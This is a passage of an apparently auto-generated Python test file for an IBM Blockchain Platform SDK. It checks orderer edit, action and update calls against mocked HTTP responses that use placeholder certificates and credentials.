["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "resources": {"orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "storage": {"orderer": {"size": "4GiB", "class": "default"}}, "system_channel_id": "testchainid", "tags": ["fabric-ca"], "timestamp": 1537262855753, "type": "fabric-peer", "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
cluster_name = 'ordering service 1'
display_name = 'orderer'
api_url = 'grpcs://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
operations_url = 'https://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:8443'
grpcwp_url = 'https://n3a3ec3-myorderer-proxy.ibp.us-south.containers.appdomain.cloud:443'
msp_id = 'Org1'
consenter_proposal_fin = True
location = 'ibmcloud'
system_channel_id = 'testchainid'
tags = ['fabric-ca']
# Invoke method
response = service.edit_orderer(
id,
cluster_name=cluster_name,
display_name=display_name,
api_url=api_url,
operations_url=operations_url,
grpcwp_url=grpcwp_url,
msp_id=msp_id,
consenter_proposal_fin=consenter_proposal_fin,
location=location,
system_channel_id=system_channel_id,
tags=tags,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['cluster_name'] == 'ordering service 1'
assert req_body['display_name'] == 'orderer'
assert req_body['api_url'] == 'grpcs://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
assert req_body['operations_url'] == 'https://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:8443'
assert req_body['grpcwp_url'] == 'https://n3a3ec3-myorderer-proxy.ibp.us-south.containers.appdomain.cloud:443'
assert req_body['msp_id'] == 'Org1'
assert req_body['consenter_proposal_fin'] == True
assert req_body['location'] == 'ibmcloud'
assert req_body['system_channel_id'] == 'testchainid'
assert req_body['tags'] == ['fabric-ca']
@responses.activate
def test_edit_orderer_value_error(self):
"""
test_edit_orderer_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/fabric-orderer/testString')
mock_response = '{"id": "component1", "dep_component_id": "admin", "api_url": "grpcs://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050", "display_name": "orderer", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-myorderer-proxy.ibp.us-south.containers.appdomain.cloud:443", "location": "ibmcloud", "operations_url": "https://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:8443", "orderer_type": "raft", "config_override": {"anyKey": "anyValue"}, "consenter_proposal_fin": true, "node_ou": {"enabled": true}, "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "resources": {"orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "storage": {"orderer": {"size": "4GiB", "class": "default"}}, "system_channel_id": "testchainid", "tags": ["fabric-ca"], "timestamp": 1537262855753, "type": "fabric-peer", "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
cluster_name = 'ordering service 1'
display_name = 'orderer'
api_url = 'grpcs://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
operations_url = 'https://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:8443'
grpcwp_url = 'https://n3a3ec3-myorderer-proxy.ibp.us-south.containers.appdomain.cloud:443'
msp_id = 'Org1'
consenter_proposal_fin = True
location = 'ibmcloud'
system_channel_id = 'testchainid'
tags = ['fabric-ca']
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"id": id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.edit_orderer(**req_copy)
class TestOrdererAction():
"""
Test Class for orderer_action
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_orderer_action_all_params(self):
"""
orderer_action()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-orderer/testString/actions')
mock_response = '{"message": "accepted", "id": "myca", "actions": ["restart"]}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=202)
# Construct a dict representation of a ActionReenroll model
action_reenroll_model = {}
action_reenroll_model['tls_cert'] = True
action_reenroll_model['ecert'] = True
# Construct a dict representation of a ActionEnroll model
action_enroll_model = {}
action_enroll_model['tls_cert'] = True
action_enroll_model['ecert'] = True
# Set up parameter values
id = 'testString'
restart = True
reenroll = action_reenroll_model
enroll = action_enroll_model
# Invoke method
response = service.orderer_action(
id,
restart=restart,
reenroll=reenroll,
enroll=enroll,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 202
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['restart'] == True
assert req_body['reenroll'] == action_reenroll_model
assert req_body['enroll'] == action_enroll_model
@responses.activate
def test_orderer_action_value_error(self):
"""
test_orderer_action_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-orderer/testString/actions')
mock_response = '{"message": "accepted", "id": "myca", "actions": ["restart"]}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=202)
# Construct a dict representation of a ActionReenroll model
action_reenroll_model = {}
action_reenroll_model['tls_cert'] = True
action_reenroll_model['ecert'] = True
# Construct a dict representation of a ActionEnroll model
action_enroll_model = {}
action_enroll_model['tls_cert'] = True
action_enroll_model['ecert'] = True
# Set up parameter values
id = 'testString'
restart = True
reenroll = action_reenroll_model
enroll = action_enroll_model
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"id": id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.orderer_action(**req_copy)
class TestUpdateOrderer():
"""
Test Class for update_orderer
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_update_orderer_all_params(self):
"""
update_orderer()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-orderer/testString')
mock_response = '{"id": "component1", "dep_component_id": "admin", "api_url": "grpcs://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050", "display_name": "orderer", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-myorderer-proxy.ibp.us-south.containers.appdomain.cloud:443", "location": "ibmcloud", "operations_url": "https://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:8443", "orderer_type": "raft", "config_override": {"anyKey": "anyValue"}, "consenter_proposal_fin": true, "node_ou": {"enabled": true}, "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "resources": {"orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "storage": {"orderer": {"size": "4GiB", "class": "default"}}, "system_channel_id": "testchainid", "tags": ["fabric-ca"], "timestamp": 1537262855753, "type": "fabric-peer", "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a ConfigOrdererKeepalive model
config_orderer_keepalive_model = {}
config_orderer_keepalive_model['ServerMinInterval'] = '60s'
config_orderer_keepalive_model['ServerInterval'] = '2h'
config_orderer_keepalive_model['ServerTimeout'] = '20s'
# Construct a dict representation of a ConfigOrdererAuthentication model
config_orderer_authentication_model = {}
config_orderer_authentication_model['TimeWindow'] = '15m'
config_orderer_authentication_model['NoExpirationChecks'] = False
# Construct a dict representation of a ConfigOrdererGeneralUpdate model
config_orderer_general_update_model = {}
config_orderer_general_update_model['Keepalive'] = config_orderer_keepalive_model
config_orderer_general_update_model['Authentication'] = config_orderer_authentication_model
# Construct a dict representation of a ConfigOrdererDebug model
config_orderer_debug_model = {}
config_orderer_debug_model['BroadcastTraceDir'] = 'testString'
config_orderer_debug_model['DeliverTraceDir'] = 'testString'
# Construct a dict representation of a ConfigOrdererMetricsStatsd model
config_orderer_metrics_statsd_model = {}
config_orderer_metrics_statsd_model['Network'] = 'udp'
config_orderer_metrics_statsd_model['Address'] = '127.0.0.1:8125'
config_orderer_metrics_statsd_model['WriteInterval'] = '10s'
config_orderer_metrics_statsd_model['Prefix'] = 'server'
# Construct a dict representation of a ConfigOrdererMetrics model
config_orderer_metrics_model = {}
config_orderer_metrics_model['Provider'] = 'disabled'
config_orderer_metrics_model['Statsd'] = config_orderer_metrics_statsd_model
# Construct a dict representation of a ConfigOrdererUpdate model
config_orderer_update_model = {}
config_orderer_update_model['General'] = config_orderer_general_update_model
config_orderer_update_model['Debug'] = config_orderer_debug_model
config_orderer_update_model['Metrics'] = config_orderer_metrics_model
# Construct a dict representation of a CryptoEnrollmentComponent model
crypto_enrollment_component_model = {}
crypto_enrollment_component_model['admincerts'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a UpdateEnrollmentCryptoFieldCa model
update_enrollment_crypto_field_ca_model = {}
update_enrollment_crypto_field_ca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
update_enrollment_crypto_field_ca_model['port'] = 7054
update_enrollment_crypto_field_ca_model['name'] = 'ca'
update_enrollment_crypto_field_ca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_enrollment_crypto_field_ca_model['enroll_id'] = 'admin'
update_enrollment_crypto_field_ca_model['enroll_secret'] = 'password'
# Construct a dict representation of a UpdateEnrollmentCryptoFieldTlsca model
update_enrollment_crypto_field_tlsca_model = {}
update_enrollment_crypto_field_tlsca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
update_enrollment_crypto_field_tlsca_model['port'] = 7054
update_enrollment_crypto_field_tlsca_model['name'] = 'tlsca'
update_enrollment_crypto_field_tlsca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_enrollment_crypto_field_tlsca_model['enroll_id'] = 'admin'
update_enrollment_crypto_field_tlsca_model['enroll_secret'] = 'password'
update_enrollment_crypto_field_tlsca_model['csr_hosts'] = ['testString']
# Construct a dict representation of a UpdateEnrollmentCryptoField model
update_enrollment_crypto_field_model = {}
update_enrollment_crypto_field_model['component'] = crypto_enrollment_component_model
update_enrollment_crypto_field_model['ca'] = update_enrollment_crypto_field_ca_model
update_enrollment_crypto_field_model['tlsca'] = update_enrollment_crypto_field_tlsca_model
# Construct a dict representation of a UpdateMspCryptoFieldCa model
update_msp_crypto_field_ca_model = {}
update_msp_crypto_field_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_ca_model['ca_intermediate_certs'] = ['testString']
# Construct a dict representation of a UpdateMspCryptoFieldTlsca model
update_msp_crypto_field_tlsca_model = {}
update_msp_crypto_field_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_tlsca_model['ca_intermediate_certs'] = ['testString']
# Construct a dict representation of a ClientAuth model
client_auth_model = {}
client_auth_model['type'] = 'noclientcert'
client_auth_model['tls_certs'] = ['testString']
# Construct a dict representation of a UpdateMspCryptoFieldComponent model
update_msp_crypto_field_component_model = {}
update_msp_crypto_field_component_model['ekey'] = 'testString'
update_msp_crypto_field_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_msp_crypto_field_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_component_model['tls_key'] = 'testString'
update_msp_crypto_field_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_msp_crypto_field_component_model['client_auth'] = client_auth_model
# Construct a dict representation of a UpdateMspCryptoField model
update_msp_crypto_field_model = {}
update_msp_crypto_field_model['ca'] = update_msp_crypto_field_ca_model
update_msp_crypto_field_model['tlsca'] = update_msp_crypto_field_tlsca_model
update_msp_crypto_field_model['component'] = update_msp_crypto_field_component_model
# Construct a dict representation of a UpdateOrdererBodyCrypto model
update_orderer_body_crypto_model = {}
update_orderer_body_crypto_model['enrollment'] = update_enrollment_crypto_field_model
update_orderer_body_crypto_model['msp'] = update_msp_crypto_field_model
# Construct a dict representation of a NodeOu model
node_ou_model = {}
node_ou_model['enabled'] = True
# Construct a dict representation of a ResourceRequests model
resource_requests_model = {}
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceLimits model
resource_limits_model = {}
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceObject model
resource_object_model = {}
resource_object_model['requests'] = resource_requests_model
resource_object_model['limits'] = resource_limits_model
# Construct a dict representation of a UpdateOrdererBodyResources model
update_orderer_body_resources_model = {}
update_orderer_body_resources_model['orderer'] = resource_object_model
update_orderer_body_resources_model['proxy'] = resource_object_model
# Set up parameter values
id = 'testString'
admin_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
config_override = config_orderer_update_model
crypto = update_orderer_body_crypto_model
node_ou = node_ou_model
replicas = 1
resources = update_orderer_body_resources_model
version = '1.4.6-1'
zone = '-'
# Invoke method
response = service.update_orderer(
id,
admin_certs=admin_certs,
config_override=config_override,
crypto=crypto,
node_ou=node_ou,
replicas=replicas,
resources=resources,
version=version,
zone=zone,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['admin_certs'] == ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
assert req_body['config_override'] == config_orderer_update_model
assert req_body['crypto'] == update_orderer_body_crypto_model
assert req_body['node_ou'] == node_ou_model
assert req_body['replicas'] == 1
assert req_body['resources'] == update_orderer_body_resources_model
assert req_body['version'] == '1.4.6-1'
assert req_body['zone'] == '-'
@responses.activate
def test_update_orderer_value_error(self):
"""
test_update_orderer_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-orderer/testString')
mock_response = '{"id": "component1", "dep_component_id": "admin", "api_url": "grpcs://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050", "display_name": "orderer", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-myorderer-proxy.ibp.us-south.containers.appdomain.cloud:443", "location": "ibmcloud", "operations_url": "https://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:8443", "orderer_type": "raft", "config_override": {"anyKey": "anyValue"}, "consenter_proposal_fin": true, "node_ou": {"enabled": true}, "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "resources": {"orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "storage": {"orderer": {"size": "4GiB", "class": "default"}}, "system_channel_id": "testchainid", "tags": ["fabric-ca"], "timestamp": 1537262855753, "type": "fabric-peer", "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a ConfigOrdererKeepalive model
config_orderer_keepalive_model = {}
config_orderer_keepalive_model['ServerMinInterval'] = '60s'
config_orderer_keepalive_model['ServerInterval'] = '2h'
config_orderer_keepalive_model['ServerTimeout'] = '20s'
# Construct a dict representation of a ConfigOrdererAuthentication model
config_orderer_authentication_model = {}
config_orderer_authentication_model['TimeWindow'] = '15m'
config_orderer_authentication_model['NoExpirationChecks'] = False
# Construct a dict representation of a ConfigOrdererGeneralUpdate model
config_orderer_general_update_model = {}
config_orderer_general_update_model['Keepalive'] = config_orderer_keepalive_model
config_orderer_general_update_model['Authentication'] = config_orderer_authentication_model
# Construct a dict representation of a ConfigOrdererDebug model
config_orderer_debug_model = {}
config_orderer_debug_model['BroadcastTraceDir'] = 'testString'
config_orderer_debug_model['DeliverTraceDir'] = 'testString'
# Construct a dict representation of a ConfigOrdererMetricsStatsd model
config_orderer_metrics_statsd_model = {}
config_orderer_metrics_statsd_model['Network'] = 'udp'
config_orderer_metrics_statsd_model['Address'] = '127.0.0.1:8125'
config_orderer_metrics_statsd_model['WriteInterval'] = '10s'
config_orderer_metrics_statsd_model['Prefix'] = 'server'
# Construct a dict representation of a ConfigOrdererMetrics model
config_orderer_metrics_model = {}
config_orderer_metrics_model['Provider'] = 'disabled'
config_orderer_metrics_model['Statsd'] = config_orderer_metrics_statsd_model
# Construct a dict representation of a ConfigOrdererUpdate model
config_orderer_update_model = {}
config_orderer_update_model['General'] = config_orderer_general_update_model
config_orderer_update_model['Debug'] = config_orderer_debug_model
config_orderer_update_model['Metrics'] = config_orderer_metrics_model
# Construct a dict representation of a CryptoEnrollmentComponent model
crypto_enrollment_component_model = {}
crypto_enrollment_component_model['admincerts'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a UpdateEnrollmentCryptoFieldCa model
update_enrollment_crypto_field_ca_model = {}
update_enrollment_crypto_field_ca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
update_enrollment_crypto_field_ca_model['port'] = 7054
update_enrollment_crypto_field_ca_model['name'] = 'ca'
update_enrollment_crypto_field_ca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_enrollment_crypto_field_ca_model['enroll_id'] = 'admin'
update_enrollment_crypto_field_ca_model['enroll_secret'] = 'password'
# Construct a dict representation of a UpdateEnrollmentCryptoFieldTlsca model
update_enrollment_crypto_field_tlsca_model = {}
update_enrollment_crypto_field_tlsca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
update_enrollment_crypto_field_tlsca_model['port'] = 7054
update_enrollment_crypto_field_tlsca_model['name'] = 'tlsca'
update_enrollment_crypto_field_tlsca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_enrollment_crypto_field_tlsca_model['enroll_id'] = 'admin'
update_enrollment_crypto_field_tlsca_model['enroll_secret'] = 'password'
update_enrollment_crypto_field_tlsca_model['csr_hosts'] = ['testString']
# Construct a dict representation of a UpdateEnrollmentCryptoField model
update_enrollment_crypto_field_model = {}
update_enrollment_crypto_field_model['component'] = crypto_enrollment_component_model
update_enrollment_crypto_field_model['ca'] = update_enrollment_crypto_field_ca_model
update_enrollment_crypto_field_model['tlsca'] = update_enrollment_crypto_field_tlsca_model
# Construct a dict representation of a UpdateMspCryptoFieldCa model
update_msp_crypto_field_ca_model = {}
update_msp_crypto_field_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_ca_model['ca_intermediate_certs'] = ['testString']
# Construct a dict representation of a UpdateMspCryptoFieldTlsca model
update_msp_crypto_field_tlsca_model = {}
update_msp_crypto_field_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_tlsca_model['ca_intermediate_certs'] = ['testString']
# Construct a dict representation of a ClientAuth model
client_auth_model = {}
client_auth_model['type'] = 'noclientcert'
client_auth_model['tls_certs'] = ['testString']
# Construct a dict representation of a UpdateMspCryptoFieldComponent model
update_msp_crypto_field_component_model = {}
update_msp_crypto_field_component_model['ekey'] = 'testString'
update_msp_crypto_field_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_msp_crypto_field_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_component_model['tls_key'] = 'testString'
update_msp_crypto_field_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_msp_crypto_field_component_model['client_auth'] = client_auth_model
# Construct a dict representation of a UpdateMspCryptoField model
update_msp_crypto_field_model = {}
update_msp_crypto_field_model['ca'] = update_msp_crypto_field_ca_model
update_msp_crypto_field_model['tlsca'] = update_msp_crypto_field_tlsca_model
update_msp_crypto_field_model['component'] = update_msp_crypto_field_component_model
# Construct a dict representation of a UpdateOrdererBodyCrypto model
update_orderer_body_crypto_model = {}
update_orderer_body_crypto_model['enrollment'] = update_enrollment_crypto_field_model
update_orderer_body_crypto_model['msp'] = update_msp_crypto_field_model
# Construct a dict representation of a NodeOu model
node_ou_model = {}
node_ou_model['enabled'] = True
# Construct a dict representation of a ResourceRequests model
resource_requests_model = {}
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceLimits model
resource_limits_model = {}
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceObject model
